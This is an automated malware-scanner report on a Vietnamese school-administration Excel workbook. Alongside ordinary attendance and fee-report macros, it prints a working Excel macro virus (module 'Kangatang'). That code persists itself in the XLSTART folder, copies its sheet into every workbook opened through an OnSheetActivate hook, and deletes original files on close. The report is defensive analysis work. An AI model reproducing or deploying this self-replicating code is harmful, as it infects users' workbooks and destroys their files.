MALICIOUS
272
Risk Score
Heuristics 9
-
ClamAV: Xls.Malware.ExcelSic-10004731-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.ExcelSic-10004731-1
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCEThe macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.Matched line in script
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls" -
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADERThe macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.Matched line in script
Application.OnSheetActivate = "" -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub Auto_Close() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
desk = Environ$("USERPROFILE") & "\Desktop" -
External workbook data link medium OOXML_EXTERNAL_REL_DATALINKExternal workbook reference in xl/externalLinks/_rels/externalLink1.xml.rels: file:///C:\Cai dat MyExcel\MyExcel\MyExcel.xlam.xlam — a UNC/file path; opening the workbook and updating links could leak NetNTLM credentials to the host
-
Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEETExcel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 45679 bytes |
SHA-256: 11ac88493272579ba8f8dd3cd75586898bd0ba5442ff5462e250b0e8630f99a8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "DIEM_DANH"
Sub Diem_Danh_NT1()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shPHK As Worksheet
Set shNguon = ThisWorkbook.Sheets("DANH SACH")
Set shNT1 = ThisWorkbook.Sheets("DIEM DANH - NT 1")
With shNguon
lr = .Range("B" & Rows.count).End(xlUp).Row
arr = .Range("A4:P" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 2)
For i = 1 To UBound(arr, 1)
dk = arr(i, 2) <> ""
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 1)
kq(a, 2) = arr(i, 2)
End If
Next i
End With
With shNT1
.Range("A4:B44").ClearContents
.Range("A4").Resize(a, 2).Value = kq
End With
End Sub
Sub Diem_Danh_NT2()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shPHK As Worksheet
Set shNguon = ThisWorkbook.Sheets("DANH SACH")
Set shNT2 = ThisWorkbook.Sheets("DIEM DANH - NT 2")
With shNguon
lr = .Range("B" & Rows.count).End(xlUp).Row
arr = .Range("A4:P" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 2)
For i = 1 To UBound(arr, 1)
dk = arr(i, 2) <> ""
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 3)
kq(a, 2) = arr(i, 4)
End If
Next i
End With
With shNT2
.Range("A4:B44").ClearContents
.Range("A4").Resize(a, 2).Value = kq
End With
End Sub
Sub Diem_Danh_M1()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shPHK As Worksheet
Set shNguon = ThisWorkbook.Sheets("DANH SACH")
Set shNT1 = ThisWorkbook.Sheets("DIEM DANH - MAM1")
With shNguon
lr = .Range("B" & Rows.count).End(xlUp).Row
arr = .Range("A4:P" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 2)
For i = 1 To UBound(arr, 1)
dk = arr(i, 2) <> ""
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 1)
kq(a, 2) = arr(i, 2)
End If
Next i
End With
With shNT1
.Range("A4:B44").ClearContents
.Range("A4").Resize(a, 2).Value = kq
End With
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module2"
Sub XuatPNG_Phieu_PRO()
Dim ws As Worksheet
Dim lastRow As Long
Dim startRow As Long
Dim h As Long
Dim rng As Range
Dim cht As ChartObject
Dim desk As String, folder As String
Dim stt As Long
Dim margin As Long
Set ws = ActiveSheet
desk = Environ$("USERPROFILE") & "\Desktop"
folder = desk & "\PNG_PHIEU_PRO"
If Dir(folder, vbDirectory) = "" Then MkDir folder
Application.ScreenUpdating = False
Application.EnableEvents = False
Application.DisplayStatusBar = True
Application.Calculation = xlCalculationManual
h = 24 'chi?u cao phi?u
margin = 20 '? l? tr?ng (px)
lastRow = ws.Cells(ws.Rows.count, 1).End(xlUp).Row
stt = 1
startRow = 1
Do While startRow <= lastRow
Application.StatusBar = "Ðang xu?t phi?u: " & stt
'===== PHI?U TRÁI =====
Set rng = ws.Range("A" & startRow & ":E" & startRow + h - 1)
rng.CopyPicture xlPrinter, xlPicture
Set cht = ws.ChartObjects.Add(0, 0, rng.Width + margin, rng.Height + margin)
cht.Chart.Paste
cht.Chart.ChartArea.Left = margin / 2
cht.Chart.ChartArea.Top = margin / 2
cht.Chart.Export folder & "\Phieu_" & Format(stt, "000") & ".png"
cht.Delete
stt = stt + 1
Application.StatusBar = "Ðang xu?t phi?u: " & stt
'===== PHI?U PH?I =====
Set rng = ws.Range("F" & startRow & ":J" & startRow + h - 1)
rng.CopyPicture xlPrinter, xlPicture
Set cht = ws.ChartObjects.Add(0, 0, rng.Width + margin, rng.Height + margin)
cht.Chart.Paste
cht.Chart.ChartArea.Left = margin / 2
cht.Chart.ChartArea.Top = margin / 2
cht.Chart.Export folder & "\Phieu_" & Format(stt, "000") & ".png"
cht.Delete
stt = stt + 1
startRow = startRow + h
Loop
Application.StatusBar = False
Application.Calculation = xlCalculationAutomatic
Application.EnableEvents = True
Application.ScreenUpdating = True
MsgBox "Da Xuat Phieu xong"
End Sub
Attribute VB_Name = "Kangatang"
Sub Auto_Open()
Application.EnableCancelKey = xlDisabled
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub
Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub
Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheetsádfgvhgfh.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True
End If
End Sub
Attribute VB_Name = "Sheet14"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
Target.Calculate
End Sub
Attribute VB_Name = "Sheet9"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
Target.Calculate
End Sub
Attribute VB_Name = "Sheet11"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
Target.Calculate
End Sub
Attribute VB_Name = "Sheet23"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet18"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet19"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet20"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet12"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
Target.Calculate
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet26"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet21"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet13"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet8"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet10"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet15"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet24"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet25"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet22"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet34"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "NHAP_LIEU"
Sub Nhap_lieu_NT1()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shNL As Worksheet
Set shNguon = ThisWorkbook.Sheets("DANH SACH")
Set shNT1 = ThisWorkbook.Sheets("NHAP LIEU - NT 1")
With shNguon
lr = .Range("C" & Rows.count).End(xlUp).Row
arr = .Range("A3:K" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 2)
For i = 1 To UBound(arr, 1)
dk = arr(i, 3) <> ""
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 2)
kq(a, 2) = arr(i, 3)
End If
Next i
End With
With shNT1
.Range("A8:B47").ClearContents
.Range("A8").Resize(a, 2).Value = kq
End With
Call M
Call TH
End Sub
Sub c()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shPHK As Worksheet
Set shNguon = ThisWorkbook.Sheets("DANH SACH")
Set shC = ThisWorkbook.Sheets("NHAP LIEU - C")
With shNguon
lr = .Range("I" & Rows.count).End(xlUp).Row
arr = .Range("A3:K" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 2)
For i = 1 To UBound(arr, 1)
dk = arr(i, 9) <> ""
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 8)
kq(a, 2) = arr(i, 9)
End If
Next i
End With
With shC
.Range("A8:B47").ClearContents
.Range("A8").Resize(a, 2).Value = kq
End With
End Sub
Sub TH()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shPHK As Worksheet
Set shNguon = ThisWorkbook.Sheets("DANH SACH")
Set shTH = ThisWorkbook.Sheets("NHAP LIEU - TH")
With shNguon
lr = .Range("K" & Rows.count).End(xlUp).Row
arr = .Range("A3:K" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 2)
For i = 1 To UBound(arr, 1)
dk = arr(i, 11) <> ""
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 10)
kq(a, 2) = arr(i, 11)
End If
Next i
End With
With shTH
.Range("A8:B67").ClearContents
.Range("A8").Resize(a, 2).Value = kq
End With
End Sub
Attribute VB_Name = "BCTV_TH"
Option Explicit
Sub BCTV_TH()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shBCTV As Worksheet
Set shNguon = ThisWorkbook.Sheets("NHAP LIEU - TH")
Set shBCTV = ThisWorkbook.Sheets("BC - TIEU HOC")
With shNguon
lr = .Range("B" & Rows.count).End(xlUp).Row
arr = .Range("A8:S" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 9)
For i = 1 To UBound(arr, 1)
dk = arr(i, 2) > 0
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 1) 'STT
kq(a, 2) = arr(i, 2) 'TEN
kq(a, 3) = arr(i, 3) 'NGHI
kq(a, 4) = arr(i, 7) 'AN TRUA
kq(a, 5) = arr(i, 8) 'PVBT
kq(a, 6) = arr(i, 9) 'NO HP
kq(a, 7) = arr(i, 11) 'TONG TT
kq(a, 8) = arr(i, 18) 'DA TT
kq(a, 9) = arr(i, 19) ' NO
End If
Next i
End With
With shBCTV
.Range("A6:J56").ClearContents
.Range("A6").Resize(a, 9).Value = kq
End With
Call BCTH_TH
End Sub
Sub BCTH_TH()
Sheet26.Range("E9") = WorksheetFunction.Sum(Sheet15.Range("D6:D57"))
Sheet26.Range("I9") = WorksheetFunction.Sum(Sheet15.Range("E6:E57"))
Sheet26.Range("K9") = WorksheetFunction.Sum(Sheet15.Range("F6:F57"))
Sheet26.Range("L9") = WorksheetFunction.Sum(Sheet15.Range("G6:G57"))
Sheet26.Range("M9") = WorksheetFunction.Sum(Sheet15.Range("H6:H57"))
Sheet26.Range("N9") = WorksheetFunction.Sum(Sheet15.Range("I6:I57"))
Sheet26.Range("E10") = WorksheetFunction.Sum(Sheet26.Range("E5:E9"))
Sheet26.Range("F10") = WorksheetFunction.Sum(Sheet26.Range("F5:F9"))
Sheet26.Range("G10") = WorksheetFunction.Sum(Sheet26.Range("G5:G9"))
Sheet26.Range("H10") = WorksheetFunction.Sum(Sheet26.Range("H5:H9"))
Sheet26.Range("I10") = WorksheetFunction.Sum(Sheet26.Range("I5:I9"))
Sheet26.Range("J10") = WorksheetFunction.Sum(Sheet26.Range("J5:J9"))
Sheet26.Range("K10") = WorksheetFunction.Sum(Sheet26.Range("K5:K9"))
Sheet26.Range("L10") = WorksheetFunction.Sum(Sheet26.Range("L5:L9"))
Sheet26.Range("M10") = WorksheetFunction.Sum(Sheet26.Range("M5:M9"))
Sheet26.Range("N10") = WorksheetFunction.Sum(Sheet26.Range("N5:N9"))
Call KETQUA_TT
End Sub
Attribute VB_Name = "BCTV_C"
Option Explicit
Sub BCTV_C()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shBCTV As Worksheet
Set shNguon = ThisWorkbook.Sheets("NHAP LIEU - C")
Set shBCTV = ThisWorkbook.Sheets("BC TU VIEN - C")
With shNguon
lr = .Range("B" & Rows.count).End(xlUp).Row
arr = .Range("A8:W" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 13)
For i = 1 To UBound(arr, 1)
dk = arr(i, 2) > 0
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 1)
kq(a, 2) = arr(i, 2)
kq(a, 3) = arr(i, 3)
kq(a, 4) = arr(i, 5)
kq(a, 5) = arr(i, 6)
kq(a, 6) = arr(i, 8)
kq(a, 7) = arr(i, 9)
kq(a, 8) = arr(i, 10)
kq(a, 9) = arr(i, 11)
kq(a, 10) = arr(i, 13)
kq(a, 11) = arr(i, 15)
kq(a, 12) = arr(i, 22)
kq(a, 13) = arr(i, 23)
End If
Next i
End With
With shBCTV
.Range("A7:L46").ClearContents
.Range("A7").Resize(a, 13).Value = kq
End With
Call BCTH_C
End Sub
Sub BCTH_C()
Sheet26.Range("E8") = WorksheetFunction.Sum(Sheet10.Range("D7:D46"))
Sheet26.Range("F8") = WorksheetFunction.Sum(Sheet10.Range("E7:E46"))
Sheet26.Range("G8") = WorksheetFunction.Sum(Sheet10.Range("F7:F46"))
Sheet26.Range("H8") = WorksheetFunction.Sum(Sheet10.Range("G7:G46"))
Sheet26.Range("I8") = WorksheetFunction.Sum(Sheet10.Range("H7:H46"))
Sheet26.Range("J8") = WorksheetFunction.Sum(Sheet10.Range("I7:I46"))
Sheet26.Range("K8") = WorksheetFunction.Sum(Sheet10.Range("J7:J46"))
Sheet26.Range("L8") = WorksheetFunction.Sum(Sheet10.Range("K7:K46"))
Sheet26.Range("M8") = WorksheetFunction.Sum(Sheet10.Range("L7:L46"))
Sheet26.Range("N8") = WorksheetFunction.Sum(Sheet10.Range("M7:M46"))
Call KETQUA_TT
End Sub
Attribute VB_Name = "Sheet36"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "PHK_NT1"
Option Explicit
Sub PHK_NT1()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shPHK As Worksheet
Set shNguon = ThisWorkbook.Sheets("NHAP LIEU - NT 1")
Set shPHK = ThisWorkbook.Sheets("PHU HUYNH KY - NT 1")
With shNguon
lr = .Range("B" & Rows.count).End(xlUp).Row
arr = .Range("A8:W" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 11)
For i = 1 To UBound(arr, 1)
dk = arr(i, 2) <> ""
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 1)
kq(a, 2) = arr(i, 2)
kq(a, 3) = arr(i, 3)
kq(a, 4) = arr(i, 5)
kq(a, 5) = arr(i, 6)
kq(a, 6) = arr(i, 8)
kq(a, 7) = arr(i, 9)
kq(a, 8) = arr(i, 10)
kq(a, 9) = arr(i, 11)
kq(a, 10) = arr(i, 13)
kq(a, 11) = arr(i, 15)
End If
Next i
End With
With shPHK
.Range("A6:N45").ClearContents
.Range("A6").Resize(a, 11).Value = kq
End With
End Sub
Attribute VB_Name = "chkLinkCell"
Sub chkLinkCell()
Dim chk As CheckBox
For Each chk In ActiveSheet.CheckBoxes()
With chk
.LinkedCell = _
.TopLeftCell.Offset(0, 0).Address
End With
Next chk
End Sub
Attribute VB_Name = "Xuat_Phieu_NT1"
Sub Xuat_Phieu_NT1()
Dim i As Integer
i = 6
While ThisWorkbook.Sheets(5).Cells(i, 1) <> ""
ThisWorkbook.Sheets(35).Cells(5, 25) = ThisWorkbook.Sheets(5).Cells(i, 1)
ThisWorkbook.Sheets(35).PrintOut preview = False
i = i + 1
Wend
End Sub
Attribute VB_Name = "Module1"
Sub SapXepAlphabet_8Lop_Dong4()
Dim ws As Worksheet
Dim lop As Long, colTen As Long
Dim lastRow As Long
Dim i As Long, j As Long
Dim temp As String
Dim stt As Long
Set ws = ActiveSheet
Application.ScreenUpdating = False
For lop = 1 To 8
colTen = (lop - 1) * 2 + 2
lastRow = ws.Cells(ws.Rows.count, colTen).End(xlUp).Row
'S?p x?p alphabet chu?n
For i = 4 To lastRow - 1
For j = i + 1 To lastRow
If SoSanh(ws.Cells(i, colTen).Value, ws.Cells(j, colTen).Value) > 0 Then
temp = ws.Cells(i, colTen).Value
ws.Cells(i, colTen).Value = ws.Cells(j, colTen).Value
ws.Cells(j, colTen).Value = temp
End If
Next j
Next i
'Ðánh l?i STT
stt = 1
For i = 4 To lastRow
If Trim(ws.Cells(i, colTen).Value) <> "" Then
ws.Cells(i, colTen - 1).Value = stt
stt = stt + 1
End If
Next i
Next lop
Application.ScreenUpdating = True
MsgBox "Ðã xêp Alphabet!", vbInformation
End Sub
'================= HÀM SO SÁNH =================
Function SoSanh(a As String, b As String) As Long
If LayTen(a) <> LayTen(b) Then
SoSanh = StrComp(LayTen(a), LayTen(b), vbTextCompare)
Exit Function
End If
If LayLot(a) <> LayLot(b) Then
SoSanh = StrComp(LayLot(a), LayLot(b), vbTextCompare)
Exit Function
End If
SoSanh = StrComp(LayHo(a), LayHo(b), vbTextCompare)
End Function
'================= TÁCH TÊN =================
Function LayTen(ByVal s As String) As String
Dim a
s = Trim(s)
If s = "" Then Exit Function
a = Split(s, " ")
LayTen = a(UBound(a))
End Function
Function LayHo(ByVal s As String) As String
Dim a
s = Trim(s)
If s = "" Then Exit Function
a = Split(s, " ")
LayHo = a(0)
End Function
Function LayLot(ByVal s As String) As String
Dim a, i As Long
s = Trim(s)
If s = "" Then Exit Function
a = Split(s, " ")
If UBound(a) < 2 Then Exit Function
For i = 1 To UBound(a) - 1
LayLot = LayLot & a(i)
Next i
End Function
Attribute VB_Name = "BCTV_NT1"
Option Explicit
Sub BCTV_NT1()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shBCTV As Worksheet
Set shNguon = ThisWorkbook.Sheets("NHAP LIEU - NT 1")
Set shBCTV = ThisWorkbook.Sheets("BC TU VIEN - NT 1")
With shNguon
lr = .Range("B" & Rows.count).End(xlUp).Row
arr = .Range("A8:W" & lr).Value
ReDim kq(1 To UBound(arr, 1), 1 To 13)
For i = 1 To UBound(arr, 1)
dk = arr(i, 2) > 0
If dk = True Then
a = a + 1
kq(a, 1) = arr(i, 1)
kq(a, 2) = arr(i, 2)
kq(a, 3) = arr(i, 3)
kq(a, 4) = arr(i, 5)
kq(a, 5) = arr(i, 6)
kq(a, 6) = arr(i, 8)
kq(a, 7) = arr(i, 9)
kq(a, 8) = arr(i, 10)
kq(a, 9) = arr(i, 11)
kq(a, 10) = arr(i, 13)
kq(a, 11) = arr(i, 15)
kq(a, 12) = arr(i, 22)
kq(a, 13) = arr(i, 23)
End If
Next i
End With
With shBCTV
.Range("A7:L46").ClearContents
.Range("A7").Resize(a, 13).Value = kq
End With
Call BCTH_NT1
End Sub
Sub BCTH_NT1()
Sheet26.Range("E5") = WorksheetFunction.Sum(Sheet7.Range("D7:D46"))
Sheet26.Range("F5") = WorksheetFunction.Sum(Sheet7.Range("E7:E46"))
Sheet26.Range("G5") = WorksheetFunction.Sum(Sheet7.Range("F7:F46"))
Sheet26.Range("H5") = WorksheetFunction.Sum(Sheet7.Range("G7:G46"))
Sheet26.Range("I5") = WorksheetFunction.Sum(Sheet7.Range("H7:H46"))
Sheet26.Range("J5") = WorksheetFunction.Sum(Sheet7.Range("I7:I46"))
Sheet26.Range("K5") = WorksheetFunction.Sum(Sheet7.Range("J7:J46"))
Sheet26.Range("L5") = WorksheetFunction.Sum(Sheet7.Range("K7:K46"))
Sheet26.Range("M5") = WorksheetFunction.Sum(Sheet7.Range("L7:L46"))
Sheet26.Range("N5") = WorksheetFunction.Sum(Sheet7.Range("M7:M46"))
Call KETQUA_TT
End Sub
Attribute VB_Name = "Sheet35"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "BCTV_M"
Option Explicit
Sub BCTV_M()
Dim arr(), kq(), dk As Boolean, i As Long, a As Long, lr As Long
Dim shNguon As Worksheet, shBCTV As Worksheet
…
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 193536 bytes |
SHA-256: 9e9b663ff8f8898704bc23006e44f3e45081264fbdfecaaa36541389ccd90424 |
|||
|
Detection
ClamAV:
Xls.Malware.ExcelSic-10004731-1
Obfuscation or payload:
unlikely
|
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: xl/media/image1.emf | 26600 bytes |
SHA-256: 00d6a93c5aab73ed8eaee315e7b4b80b26a22484d7b531ec6fac49fdca5e6b02 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.